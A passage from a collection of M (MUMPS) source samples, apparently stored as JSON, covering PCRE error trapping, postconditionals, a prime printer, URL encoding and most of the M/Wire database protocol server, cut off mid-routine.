%PCRE-E-COMPILE, Pattern compilation failed, unmatched parentheses in a <-- HERE\n; %PCRE-I-RTSLOC,          At M source location nohandler+2^pcreexamples\n; %GTM-E-SETECODE, Non-empty value assigned to $ECODE (user-defined error trap)\n; %GTM-I-RTSLOC,          At M source location trap+32^pcre\n; $ (GT.M image has been terminated)\n;\n\n\n; Simple handler\n;\nmyexception1\n\ts $zt=\"zg \"_$zl_\":mytrap1^pcreexamples\"\n\ts x=$$compile^pcre(\"a)b\")\n\tw \"will never be written\",!\n\tq\n\nmytrap1\n\tw \"it's a trap\",!\n\tw $ec,!\n\ts $ec=\"\"\n\tq\n;\n; GTM>d myexception1^pcreexamples\n; it's a trap\n; ,U16392,\n; GTM>\n;\n\n\n; Simple handler with pcre exception details\n;\nmyexception2\n\ts $zt=\"d trap^pcre(\"_$st_\") zg \"_$zl_\":mytrap2^pcreexamples\"\n\ts x=$$compile^pcre(\"a)b\")\n\tw \"will never be written\",!\n\tq\n\nmytrap2\n\tw \"it's a trap\",!\n\tw $ec,!\n\ts $ec=\"\"\n\tq\n;\n; GTM>d myexception2^pcreexamples\n; %PCRE-E-COMPILE, Pattern compilation failed, unmatched parentheses in a <-- HERE\n; %PCRE-I-RTSLOC,          At M source location myexception2+2^pcreexamples\n; it's a trap\n; ,U16392,\n; GTM>\n;\n; In this example the trap^pcre is called with optional argument (level\n; of M execution stack), for which trap^pcre will produce the\n; %PCRE-I-RTSLOC details.\n;\n; DETAILS:\n;\tThe trap^pcre is executed in the stack frame where the error condition\n;\toccurred, that gives the trap^pcre routine an access to the local\n;\tvariables like locale (locale name) or err (PCRE error message).\n;\tThe following zg command drops stack frames up to the current frame\n;\t(the frame where the s $zt=.. is used), and executes the mytrap label,\n;\twhere locale or err is not available.\n;\n\n\n; Simple handler with limited pcre exception details\n;\nmyexception3\n\ts $zt=\"zg \"_$zl_\":mytrap3^pcreexamples\"\n\ts x=$$compile^pcre(\"a)b\")\n\tw \"will never be written\",!\n\tq\n\nmytrap3\n\td trap^pcre($st)\n\tw \"it's a trap\",!\n\tw $ec,!\n\ts $ec=\"\"\n\tq\n;\n; GTM>d myexception3^pcreexamples\n; %PCRE-E-COMPILE, Pattern compilation failed, unknown reason\n; %PCRE-I-RTSLOC,          At M source location myexception3+2^pcreexamples\n; it's a trap\n; ,U16392,\n; GTM>\n;\n; DETAILS:\n;\tThe trap^pcre is executed in the stack frame where the compile^pcre\n;\twas called. The deeper stack frames has already\tbeen dropped by the\n;\tzg command, so the err local variable is not available in this\n;\tcontext. Thats why trap^pcre doesn't know the exact reason why the\n;\t%PCRE-E-COMPILE was raised.\n;\n\n\n; Note on $st() and repeated exceptions\n;\n;\tThe $st() function returns information connected with $ec codes\tin\n;\ta stack manner. That means that when once the $ec was set at n-th\n;\texecution level, any future exceptions at that level won't change\n;\tthe $st() output for that level unless $ec is cleared.\n;\n;\tAlways clear $ec when the exception handling is done.\n;\n\n\n; Execute all of the routines in this file\n;\nroutines\n\tw \">> test^pcreexamples\",!\n\td test^pcreexamples\n\n\tw !,\">> match^pcreexamples\",!\n\td match^pcreexamples\n\n\tw !,\">> global^pcreexamples\",!\n\td global^pcreexamples\n\n\tw !,\">> replace^pcreexamples\",!\n\td replace^pcreexamples\n\n\tw !,\">> p5global^pcreexamples\",!\n\td p5global^pcreexamples\n\n\tw !,\">> p5replace^pcreexamples\",!\n\td p5replace^pcreexamples\n\n\tw !,\">> p5lf^pcreexamples\",!\n\td p5lf^pcreexamples\n\n\tw !,\">> p5nl^pcreexamples\",!\n\td p5nl^pcreexamples\n\n\tw !,\">> version^pcreexamples\",!\n\td version^pcreexamples\n\n\tw !,\">> newline^pcreexamples\",!\n\td newline^pcreexamples\n\n\tw !,\">> utf8support^pcreexamples\",!\n\td utf8support^pcreexamples\n\n\tw !,\">> stackusage^pcreexamples\",!\n\td stackusage^pcreexamples\n\n\tw !,\">> nolocale^pcreexamples\",!\n\td nolocale^pcreexamples\n\n\tw !,\">> isolocale^pcreexamples\",!\n\td isolocale^pcreexamples\n\n\tw !,\">> utflocale^pcreexamples\",!\n\td utflocale^pcreexamples\n\n\tw !,\">> envlocale^pcreexamples\",!\n\td envlocale^pcreexamples\n\n\tw !,\">> limits^pcreexamples\",!\n\td limits^pcreexamples\n\n\tw !,\">> longrun^pcreexamples\",!\n\tw \"(skipped, uncomment to raise the exception)\",!\n\t; d longrun^pcreexamples\n\n\tw !,\">> shortrun^pcreexamples\",!\n\td shortrun^pcreexamples\n\n\tw !,\">> enforcedlimit^pcreexamples\",!\n\tw \"(skipped, uncomment to raise the exception)\",!\n\t; d enforcedlimit^pcreexamples\n\n\tw !,\">> nohandler^pcreexamples\",!\n\tw \"(skipped, uncomment to raise the exception)\",!\n\t; d nohandler^pcreexamples\n\n\tw !,\">> myexception1^pcreexamples\",!\n\td myexception1^pcreexamples\n\n\tw !,\">> myexception2^pcreexamples\",!\n\td myexception2^pcreexamples\n\n\tw !,\">> myexception3^pcreexamples\",!\n\td myexception3^pcreexamples\n\tq\n"
  },
  {
    "path": "samples/M/postconditional.m",
    "content": " ;\n ; M code examples contrasting postconditionals with IF-commands\n ;\npost1 ; postconditional in set command\n set a=5\n set b=10\n set c=25\n I 0  ;purposely set $TEST to false\n write \"$TEST special variable (before post-condition)=\",$TEST\n set:(a<b) c=b\n write \"$TEST special variable (after post-condition) =\",$TEST \n write \"c =\",c,!\n quit\n ;\npost2 ; postconditional in write command\n set a=5\n set b=10\n I 0  ;purposely set $TEST to false\n write \"$TEST special variable (before post-condition)=\",$TEST\n write:(a<b) \"variable a=\",a,\" is smaller than b=\",b,!\n write \"$TEST special variable (after post-condition) =\",$TEST \n write:(a>b) \"variable a=\",a,\" is larger  than b=\",b,!\n write \"$TEST special variable (after post-condition) =\",$TEST \n quit\n ;\nif1 ; if command\n set a=5\n set b=10\n set c=25\n I 0  ;purposely set $TEST to false\n write \"$TEST special variable (before IF)=\",$TEST\n if (a<b) set c=b\n write \"$TEST special variable (after IF) =\",$TEST\n write c,!\n quit\n ;\nif2 ; postconditional in write command\n set a=5\n set b=10\n I 0  ;purposely set $TEST to false\n write \"$TEST special variable (before IF)=\",$TEST\n if (a<b) write \"variable a=\",a,\" is smaller than b=\",b,!\n write \"$TEST special variable (after IF) =\",$TEST \n if (a>b) write \"variable a=\",a,\" is larger  than b=\",b,!\n write \"$TEST special variable (after IF) =\",$TEST \n quit\n"
  },
  {
    "path": "samples/M/primes.m",
    "content": "\t; part of Keith Lynch's .signature; it prints a table of primes,\n\t; including code to format it neatly into columns -- DPBS\n\t;    -- M Technology and MUMPS Language FAQ, Part 1/2\n\t;\n\n\tf p=2,3:2 s q=1 x \"f f=3:2 q:f*f>p!'q  s q=p#f\" w:q p,?$x\\8+1*8\n"
  },
  {
    "path": "samples/M/url.m",
    "content": "\t;\n\t; This file is part of DataBallet.\n\t; Copyright (C) 2012 Laurent Parenteau <laurent.parenteau@gmail.com>\n\t;\n\t; DataBallet is free software: you can redistribute it and/or modify\n\t; it under the terms of the GNU Affero General Public License as published by\n\t; the Free Software Foundation, either version 3 of the License, or\n\t; (at your option) any later version.\n\t;\n\t; DataBallet is distributed in the hope that it will be useful,\n\t; but WITHOUT ANY WARRANTY; without even the implied warranty of\n\t; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\t; GNU Affero General Public License for more details.\n\t;\n\t; You should have received a copy of the GNU Affero General Public License\n\t; along with DataBallet. If not, see <http://www.gnu.org/licenses/>.\n\t;\n\ndecode(val)\n\t;\n\t; Decoded a URL Encoded string\n\t;\n\tnew decoded,c,i\n\n\tset decoded=\"\"\n\tfor i=1:1:$zlength(val) do\n\t.\tset c=$zextract(val,i,i)\n\t.\tif c=\"+\" set decoded=decoded_\" \"\n\t.\telse  if c'=\"%\" set decoded=decoded_c\n\t.\telse  set decoded=decoded_$zchar($$FUNC^%HD($zextract(val,i+1,i+2))) set i=i+2\n\tquit decoded\n\nencode(val)\n\t;\n\t; Encoded a string for URL usage\n\t;\n\tnew encoded,c,i\n\tset encoded=\"\"\n\n\t; Populate safe char only the first time\n\tif '$data(safechar) for i=45,46,95,126,48:1:57,65:1:90,97:1:122 set safechar($zchar(i))=\"\"\n\n\tfor i=1:1:$zlength(val) do\n\t.\tset c=$zextract(val,i,i)\n\t.\tif $data(safechar(c)) set encoded=encoded_c\n\t.\telse  if c=\" \" set encoded=encoded_\"+\"\n\t.\telse  set encoded=encoded_\"%\"_$$FUNC^%DH($zascii(c),2)\n\n\tquit encoded\n"
  },
  {
    "path": "samples/M/zmwire.m",
    "content": "zmwire ; M/Wire Protocol for M Systems (eg GT.M, Cache)\n ;\n ; ----------------------------------------------------------------------------\n ; | M/Wire                                                                   |\n ; | Copyright (c) 2004-11 M/Gateway Developments Ltd,                        |\n ; | Reigate, Surrey UK.                                                      |\n ; | All rights reserved.                                                     |\n ; |                                                                          |\n ; | http://www.mgateway.com                                                  |\n ; | Email: rtweed@mgateway.com                                               |\n ; |                                                                          |\n ; | This program is free software: you can redistribute it and/or modify     |\n ; | it under the terms of the GNU Affero General Public License as           |\n ; | published by the Free Software Foundation, either version 3 of the       |\n ; | License, or (at your option) any later version.                          |\n ; |                                                                          |\n ; | This program is distributed in the hope that it will be useful,          |\n ; | but WITHOUT ANY WARRANTY; without even the implied warranty of           |\n ; | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            |\n ; | GNU Affero General Public License for more details.                      |\n ; |                                                                          |\n ; | You should have received a copy of the GNU Affero General Public License |\n ; | along with this program.  If not, see <http://www.gnu.org/licenses/>.    |\n ; ----------------------------------------------------------------------------\n ;\n QUIT\n ;\n ; By default this server code runs on port 6330\n ;\n ; For GT.M systems it is invoked via xinetd:\n ;   Edit /etc/services and add the line:\n ; \n ;    mwire  6330/tcp  # Service for M/Wire Protocol\n ;\n ;   Copy the file mwire to /etc/xinetd.d/mwire\n ;   Copy the file zmwire to /usr/local/gtm/zmwire and change \n ;    its permissions to executable (eg 755)\n ;\n ;   These files may be edited to change the paths or port number\n ;   Restart xinetd using: sudo /etc/init.d/xinetd restart\n ;\n ;   On GT.M systems you must also have installed MGWSI or m_apache\n ;     in order to provide the MD5 hashing function for passwords\n ;     Alternatively substitute the MD5 callout to the MD5 function of your choice\n ;\n ; For Cache systems, it is invoked via the M/Wire Daemon routine\n ;   which should be running as a jobbed process:\n ;\n ;     job start^zmwireDaemon\n ;\n ;   You can change the port number by simply editing the line\n ; \n ;      port+1^zmwireDaemon\n ;\n ;    Stop the Daemon process using ^RESJOB and restart it.\n ;\nmwireVersion\n ;;Build 22\n ;\nmwireDate\n ;;06 July 2011\n ;\nversion\n ;\n s output=\"+M/Wire \"_$p($t(mwireVersion+1),\";;\",2,2000)_crlf\n w output\n QUIT\n ;\nbuild\n ;\n n crlf,response\n ;\n s crlf=$c(13,10)\n s response=\"*3\"_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"build: \"_response_\" sent\")\n ;\n s response=$p($t(mwireVersion+1),\";;\",2,2000)\n s response=\"$\"_$l(response)_crlf_response_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"build: \"_response_\" sent\")\n ;\n s response=$p($t(mwireDate+1),\";;\",2,2000)\n s response=\"$\"_$l(response)_crlf_response_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"build: \"_response_\" sent\")\n ;\n s response=$zv\n s response=\"$\"_$l(response)_crlf_response_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"build: \"_response_\" sent\")\n QUIT\n ;\ncommand ;\n n authNeeded,c,crlf,input,output\n ;\n d cleardown\n i $zv[\"GT.M\" s $zint=\"d monitoroutput\"\n s ^zmwire(\"connected\",$j)=\"\"\n l +^zmwire(\"connected\",$j)\n s crlf=$c(13,10)\n s authNeeded=0\n s role=\"user\"\n i $d(^zmwire(\"auth\")) s authNeeded=1\nloop\n i $g(^zmwire(\"relink\"))=1,'$d(^zmwire(\"relink\",\"process\",$j)) s ok=$$relinkRoutines()\n r *c\n i $c(c)=\"*\" d\n . s input=$$multiBulkRequest()\n . i $g(^zewd(\"trace\"))=1 d trace($j_\": \"_$h_\": mwire input: \"_input)\n e  d\n . r input s input=$c(c)_input \n . i $g(^zewd(\"trace\"))=1 d trace($h_\": mwire input: \"_input)\n . i input'=\"\" d\n . . i $zv[\"GT.M\" s input=$e(input,1,$l(input)-2)\n . . i $zv[\"Cache\" s input=$e(input,1,$l(input)-1)\n ;i input=\"PING\" w \"+PONG\"_crlf g loop\n i input=\"PING\" s output=\"+PONG\"_crlf w output g loop\n i $d(^zmwire(\"monitor\",\"listener\")) d log(input)\n i input=\"\" g loop\n i input=\"EXIT\" g halt\n i input=\"QUIT\" g quit\n i input=\"HALT\" g halt\n ;\n i authNeeded,$e(input,1,4)'=\"AUTH\" s output=\"-Authentication required\"_crlf w output g loop\n i 'authNeeded,$e(input,1,4)=\"AUTH\" s output=\"-Authentication ignored\"_crlf w output g loop\n i $e(input,1,5)=\"AUTH \" d auth($e(input,6,$l(input))) g loop\n i 'authNeeded!(role=\"admin\"),$e(input,1,12)=\"SETPASSWORD \" d setpassword($e(input,13,$l(input))) g loop\n ;\n s input=$$utfConvert(input)\n i $e(input,1,4)=\"SET \" d set($e(input,5,$l(input))) g loop\n i $e(input,1,10)=\"GETGLOBAL \" d getGlobal($e(input,11,$l(input))) g loop\n i $e(input,1,14)=\"GETJSONSTRING \" d getJSON($e(input,15,$l(input))) g loop\n i $e(input,1,14)=\"SETJSONSTRING \" d setJSON($e(input,15,$l(input))) g loop\n i $e(input,1,15)=\"RUNTRANSACTION \" d runTransaction($e(input,16,$l(input))) g loop\n i $e(input,1,4)=\"GET \" d get($e(input,5,$l(input))) g loop\n i $e(input,1,7)=\"INCRBY \" d incrby($e(input,8,$l(input))) g loop\n i $e(input,1,7)=\"DECRBY \" d decrby($e(input,8,$l(input))) g loop\n i $e(input,1,14)=\"NEXTSUBSCRIPT \" d nextSubscript($e(input,15,$l(input)),1) g loop\n i $e(input,1,18)=\"PREVIOUSSUBSCRIPT \" d nextSubscript($e(input,19,$l(input)),-1) g loop\n i $e(input,1,5)=\"KILL \" d kill($e(input,6,$l(input))) g loop\n i $e(input,1,4)=\"DEL \" d kill($e(input,5,$l(input))) g loop\n i $e(input,1,5)=\"DATA \" d data($e(input,6,$l(input))) g loop\n i $e(input,1,7)=\"EXISTS \" d data($e(input,8,$l(input))) g loop\n i $e(input,1,5)=\"INCR \" d incr($e(input,6,$l(input))) g loop\n i $e(input,1,5)=\"DECR \" d decr($e(input,6,$l(input))) g loop\n i $e(input,1,11)=\"COPYGLOBAL \" d copy($e(input,12,$l(input))) g loop\n i $e(input,1,5)=\"LOCK \" d lock($e(input,6,$l(input))) g loop\n i $e(input,1,7)=\"UNLOCK \" d unlock($e(input,8,$l(input))) g loop\n i $e(input,1,6)=\"ORDER \" d order($e(input,7,$l(input))) g loop\n i $e(input,1,5)=\"NEXT \" d order($e(input,6,$l(input))) g loop\n i $e(input,1,9)=\"ORDERALL \" d orderall($e(input,10,$l(input))) g loop\n i $e(input,1,11)=\"GETGLOBALS2\" d getGlobals() g loop\n i $e(input,1,10)=\"GETGLOBALS\" d getGlobalList() g loop\n i $e(input,1,9)=\"MULTIGET \" d multiGet($e(input,10,$l(input))) g loop\n i $e(input,1,11)=\"GETALLSUBS \" d orderall($e(input,12,$l(input))) g loop\n i $e(input,1,14)=\"GETSUBSCRIPTS \" d getAllSubscripts($e(input,15,$l(input))) g loop\n i $e(input,1,9)=\"REVORDER \" d reverseorder($e(input,10,$l(input))) g loop\n i $e(input,1,9)=\"PREVIOUS \" d reverseorder($e(input,10,$l(input))) g loop\n i $e(input,1,6)=\"QUERY \" d query($e(input,7,$l(input))) g loop\n i $e(input,1,9)=\"QUERYGET \" d queryget($e(input,10,$l(input))) g loop\n i $e(input,1,10)=\"MERGEFROM \" d mergefrom($e(input,11,$l(input))) g loop\n i $e(input,1,11)=\"GETSUBTREE \" d mergefrom($e(input,12,$l(input))) g loop\n i $e(input,1,8)=\"MERGETO \" d mergeto($e(input,9,$l(input))) g loop\n i $e(input,1,11)=\"SETSUBTREE \" d mergeto($e(input,12,$l(input))) g loop\n i $e(input,1,9)=\"FUNCTION \" d function($e(input,10,$l(input))) g loop\n i $e(input,1,8)=\"EXECUTE \" d function($e(input,9,$l(input))) g loop\n i $e(input,1,6)=\"TSTART\" d tstart g loop\n i $e(input,1,7)=\"TCOMMIT\" d tcommit g loop\n i $e(input,1,9)=\"TROLLBACK\" d trollback g loop\n i $e(input,1,5)=\"MDATE\" d mdate g loop\n i $e(input,1,9)=\"PROCESSID\" d processid g loop\n i $e(input,1,7)=\"VERSION\" d version g loop\n i $e(input,1,8)=\"GETBUILD\" d build g loop\n i $e(input,1,8)=\"MVERSION\" d zv g loop\n i $e(input,1,4)=\"INFO\" d info g loop\n i $e(input,1,7)=\"MONITOR\" d monitor g loop\n s output=\"-\"_input_\" not recognized\"_crlf w output\n g loop\n ;\nmultiBulkRequest()\n ;\n n buff,c,i,input,j,len,noOfCommands,param,space\n ;\n s noOfCommands=\"\"\n f  d  q:c=13\n . r *c q:c=13\n . ;d trace(\"0: \"_$c(c))\n . s noOfCommands=noOfCommands_$c(c)\n r *x\n ;d trace(\"1: \"_$c(x))\n ;\n f i=1:1:noOfCommands d\n . ;d trace(\"i=\"_i)\n . s len=\"\"\n . f  d  q:c=13\n . . r *c\n . . ;d trace(\"2: \"_$c(c))\n . . i $c(c)=\"$\",len=\"\" q\n . . q:c=13\n . . s len=len_$c(c)\n . r *c\n . ;d trace(\"3: \"_$c(c))\n . s input=\"\"\n . i len=0 d\n . . s param(i)=\"\"\n . . r *c\n . . ;d trace(\"4: \"_$c(c))\n . e  d\n . . r input#len\n . . ;d trace(\"input=\"_input)\n . . s param(i)=input\n . . ;d trace(\"param \"_i_\" = \"_input)\n . . r *c,*c\n ;\n s param(1)=$zconvert(param(1),\"U\")\n ;QUIT \"PING\"\n i param(1)=\"PING\" QUIT param(1)\n ;s no=$increment(^rob) m ^rob(no)=param\n i param(1)=\"SET\" QUIT param(1)_\" \"_param(2)_\" \"_$l(param(3))_crlf_param(3)\n i param(1)=\"SETJSONSTRING\" QUIT param(1)_\" \"_param(2)_crlf_param(3)_crlf_param(4)\n i param(1)=\"COPYGLOBAL\"!(param(1)=\"GETSUBSCRIPTS\") d  QUIT input\n . s space=\"\",input=\"\"\n . f i=1:1:noOfCommands d\n . . s input=input_space_param(i)\n . . i space=\"\" s space=\" \" q\n . . i space=\" \" s space=$c(1)\n i param(1)=\"EXECUTE\" d  QUIT input\n . ;d trace(\"Execute: param(3)=\"_param(3))\n . s param(3)=$$replaceAll(param(3),\"\\\"\"\",\"\"\"\"\"\")\n . i $e(param(3),1)=\"[\" s input=param(1)_\" \"_param(2)_\"(\"_$e(param(3),2,$l(param(3))-1)_\")\" q\n . s input=param(1)_\" \"_param(2)\n ;\n s space=\"\",input=\"\"\n f i=1:1:noOfCommands d\n . s input=input_space_param(i)\n . s space=\" \" \n ;\n QUIT input\n ;\nhalt\n k ^zmwire(\"connected\",$j)\n HALT\n ;\nquit\n ;\n i '$d(^zmwire(\"monitor\",\"listener\",$j)) g halt\n k ^zmwire(\"monitor\",\"listener\",$j)\n g loop\n ;\ncleardown\n ;\n n ignore,pid\n ;\n s pid=\"\"\n f  s pid=$o(^zmwire(\"connected\",pid)) q:pid=\"\"  d\n . i pid=$j q\n . s ignore=1\n . l +^zmwire(\"connected\",pid):0 e  s ignore=0\n . i ignore d\n . . l -^zmwire(\"connected\",pid)\n . . k ^zmwire(\"connected\",pid)\n . . k ^zmwire(\"monitor\",\"listener\",pid)\n . . k ^zmwire(\"monitor\",\"output\",pid)\n s pid=\"\"\n f  s pid=$o(^zmwire(\"monitor\",\"output\",pid)) q:pid=\"\"  d\n . i pid=$j q\n . s ignore=1\n . l +^zmwire(\"connected\",pid):0 e  s ignore=0\n . l -^zmwire(\"connected\",pid)\n . i ignore d\n . . k ^zmwire(\"monitor\",\"output\",pid)\n QUIT\n ;\nmonitor\n ;\n i $zv'[\"GT.M\" w \"-Command unavailable\"_crlf QUIT\n n quit\n ;\n s ^zmwire(\"monitor\",\"listener\",$j)=\"\"\n s output=\"+OK\"_crlf w output\n f  h 1 r quit:0  i $e(quit,1,4)=\"QUIT\" q\n k ^zmwire(\"monitor\",\"listener\",$j)\n s output=\"+OK\"_crlf w output\n QUIT\n ;\nlog(input)\n ;\n i $zv'[\"GT.M\" QUIT\n ;\n QUIT:'$d(^zmwire(\"monitor\",\"listener\"))\n ;\n n dev,inputr,io,lineNo,pid\n ;\n i input[\"AUTH\" QUIT\n i input[\"QUIT\" QUIT\n i input[\"EXIT\" QUIT\n i input[\"HALT\" QUIT\n s inputr=$re(input)\n i $e(inputr,1,2)'=$c(10,13) s input=input_crlf\n s pid=\"\"\n f  s pid=$o(^zmwire(\"monitor\",\"listener\",pid)) q:pid=\"\"  d\n . i pid=$j q\n . s lineNo=$o(^zmwire(\"monitor\",\"output\",pid,\"\"),-1)+1\n . s ^zmwire(\"monitor\",\"output\",pid,lineNo)=input\n . ;zsy \"mupip intrpt \"_pid_\" >/dev/null\"\n . zsy \"kill -USR1 \"_pid\n ;\n QUIT\n ;\nmonitoroutput\n ;\n n lineNo\n ;\n s lineNo=\"\"\n f  s lineNo=$o(^zmwire(\"monitor\",\"output\",$j,lineNo)) q:lineNo=\"\"  d\n . w ^zmwire(\"monitor\",\"output\",$j,lineNo)\n . k ^zmwire(\"monitor\",\"output\",$j,lineNo)\n QUIT\n ;\nlogger(command,initialise)\n ;\n n tot,count\n ;\n i $g(initialise) k ^mwireLogger\n s tot=$increment(^mwireLogger)\n s count=$increment(^mwireLogger(command))\n ;\n QUIT\n ;\ninfo\n ;\n n count,ignore,pid,response\n ;\n s response=\"m_wire_version:\"_$p($t(mwireVersion+1),\";;\",2,2000)_crlf\n s pid=\"\",count=0\n f  s pid=$o(^zmwire(\"connected\",pid)) q:pid=\"\"  d\n . s ignore=1\n . i pid=$j d\n . . s ignore=0\n . e  d\n . . l +^zmwire(\"connected\",pid):0 e  s ignore=0\n . i ignore d\n . . l -^zmwire(\"connected\",pid)\n . . k ^zmwire(\"connected\",pid)\n . . k ^zmwire(\"monitor\",\"listener\",pid)\n . e  d\n . . s count=count+1\n s response=response_\"connected_clients:\"_count ;_crlf\n s output=\"$\"_$l(response)_crlf_response_crlf\n w output\n QUIT\n ;\nauth(input)\n ;\n n pass\n s pass=$$MD5(input)\n i $d(^zmwire(\"auth\",pass)) d\n . s authNeeded=0\n . s role=^zmwire(\"auth\",pass)\n . s output=\"+OK\"_crlf\n . w output\n e  d\n . s output=\"-Invalid password\"_crlf\n . w output\n QUIT\n ;\nsetpassword(input)\n ;\n ; SETPASSWORD secret\n ; +OK <set as role=user>\n ;\n ; SETPASSWORD secret admin\n ; +OK\n ;\n n pass,newrole\n ;\n i $d(^zmwire(\"auth\")),role'=\"admin\" s output=\"-Invalid command\"_crlf w output QUIT\n i $$stripSpaces(input)=\"\" s output=\"-Invalid command\"_crlf w output QUIT\n s newrole=\"user\"\n i input[\" \" d\n . s newrole=$p(input,\" \",2)\n . s input=$p(input,\" \",1)\n i '$d(^zmwire(\"auth\")) s newrole=\"admin\"\n i newrole'=\"user\",newrole'=\"admin\" s output=\"-Invalid role\"_crlf w output QUIT\n ;\n s pass=$$MD5(input)\n s ^zmwire(\"auth\",pass)=newrole\n s output=\"+OK\"_crlf\n w output\n QUIT\n ;\ngetGloRef(input)\n ;\n n gloName,gloRef,nb,subs\n ;\n s gloRef=input\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n i subs=\"\" QUIT gloName\n QUIT gloName_\"(\"_subs_\")\"\n ;\nset(input)\n ;\n n c123,data,gloName,gloRef,i,inputr,json,len,nb,nsp,ok,quot,subs,x\n ;\n ; SET myglobal[\"1\",\"xx yy\",3] 5\n ; hello\n ; +OK\n ; SET myGlo 5\n ; hello\n ; +OK\n ;\n ;n n\n ;s n=$increment(^rob(\"set\"))\n ;s ^rob(\"set\",n)=input\n i input[crlf d\n . s data=$p(input,crlf,2,$l(input))\n . s input=$p(input,crlf,1)\n s nsp=$l(input,\" \")\n s len=$p(input,\" \",nsp)\n i len'=0,+len=0 s output=\"-Data length was not specified\"_crlf w output QUIT\n s gloRef=$p(input,\" \",1,nsp-1)\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n ; Process Javascript escaping\n i subs'=\"\" s subs=subs_\")\"\n s quot=\"\"\"\"\n i subs'=\"\" f i=1:1:$l(subs)-2 d\n . s c123=$e(subs,i,i+2)\n . i $e(c123,1)'=\"\\\" q\n . i $e(c123,2)=\"\\\" q\n . i $e(c123,2)=quot d  q\n . . i $e(c123,3)=\",\" q\n . . i $e(c123,3)=\")\" q\n . . s subs=$e(subs,1,i-1)_quot_quot_$e(subs,i+2,$l(subs))\n i subs[\"\\\\\" d\n . s subs=$$replaceAll(subs,\"\\\\\",$c(5))\n . s subs=$$replaceAll(subs,$c(5),\"\\\")\n s gloRef=gloName\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs\n i '$d(data)  d\n . s data=$$readChars(len)\n . r ok \n . i $d(^zmwire(\"monitor\",\"listener\")) d log(data)\n i data[\"\"\"\" s data=$$replaceAll(data,\"\"\"\",\"\"\"\"\"\")\n i data=\"zmwire_null_value\" s data=\"\"\n s x=\"s \"_gloRef_\"=\"\"\"_data_\"\"\"\"\n i $g(^zewd(\"trace\"))=1 d trace(\"SET x = \"_x)\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s json=\"{\"\"ok\"\":true}\"\n s output=\"$\"_$l(json)_crlf_json_crlf\n w output\n i $g(^zewd(\"trace\"))=1 d trace(\"set: ok:true sent\")\n i $g(^mwire(\"logger\"))=1 d logger(\"set\")\n QUIT\n ;\ngetGlobalList()\n ;\n n arrString,comma,count,glo,gloRef,list,response,x\n ;\n i $zv[\"GT.M\" d\n . s x=\"^%\"\n . i $d(@x) s list(x)=\"\"\n . f  s x=$order(@x) q:x=\"\"  s list(x)=\"\"\n . ;\n e  d\n . d getGlobalList^MDBMCache(.list)\n ;\n ;s count=0,glo=\"\"\n ;f  s glo=$o(list(glo)) q:glo=\"\"  s count=count+1\n ;s response=\"*\"_count_crlf\n ;w response\n ;i $g(^zewd(\"trace\"))=1 d trace(\"getGlobalList: \"_response_\" sent\") \n ;s glo=\"\"\n ;f  s glo=$o(list(glo)) q:glo=\"\"  d\n ;. s gloRef=$e(glo,2,$l(glo))\n ;. s response=\"$\"_$l(gloRef)_crlf_gloRef_crlf\n ;. w response\n ;. i $g(^zewd(\"trace\"))=1 d trace(\"getGlobalList: \"_response_\" sent\") \n s arrString=\"[\"\n s glo=\"\",comma=\"\"\n f  s glo=$o(list(glo)) q:glo=\"\"  d\n . s gloRef=$e(glo,2,$l(glo))\n . s arrString=arrString_comma_\"\"\"\"_gloRef_\"\"\"\"\n . s comma=\",\"\n s arrString=arrString_\"]\"\n s response=\"$\"_$l(arrString)_crlf_arrString_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"getGlobalList: \"_response_\" sent\")  ;\n QUIT\n ;\ngetGlobals()\n ;\n n arrString,comma,count,glo,gloRef,list,response,x\n ;\n i $zv[\"GT.M\" d\n . s x=\"^%\"\n . i $d(@x) s list(x)=\"\"\n . f  s x=$order(@x) q:x=\"\"  s list(x)=\"\"\n . ;\n e  d\n . d getGlobalList^MDBMCache(.list)\n ;\n s count=0,glo=\"\"\n f  s glo=$o(list(glo)) q:glo=\"\"  s count=count+1\n s response=\"*\"_count_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"getGlobalList: \"_response_\" sent\") \n s glo=\"\"\n f  s glo=$o(list(glo)) q:glo=\"\"  d\n . s gloRef=$e(glo,2,$l(glo))\n . s response=\"$\"_$l(gloRef)_crlf_gloRef_crlf\n . w response\n . i $g(^zewd(\"trace\"))=1 d trace(\"getGlobalList: \"_response_\" sent\") \n QUIT\n ;\nget(input)\n ;\n n data,exists,gloRef,response,x\n ;\n ; GET myglobal[\"1\",\"xx yy\",3]\n ; $6\n ; foobar\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s exists=$d(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n i exists'=1,exists'=11 s output=\"$-1\"_crlf w output QUIT\n s x=\"s data=\"_gloRef\n s $zt=$$zt()\n x x\n s $zt=\"\"\n ;\n s response=\"$\"_$l(data)_crlf_data_crlf\n ;\n w response\n i $g(^mwire(\"logger\"))=1 d logger(\"get\")\n QUIT\n ;\ngetGlobal(input)\n ;\n n data,exists,gloRef,json,response,x\n ;\n ; GET myglobal[\"1\",\"xx yy\",3]\n ; $6\n ; foobar\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s exists=$d(\"_gloRef_\"),\"\n ;x x\n s 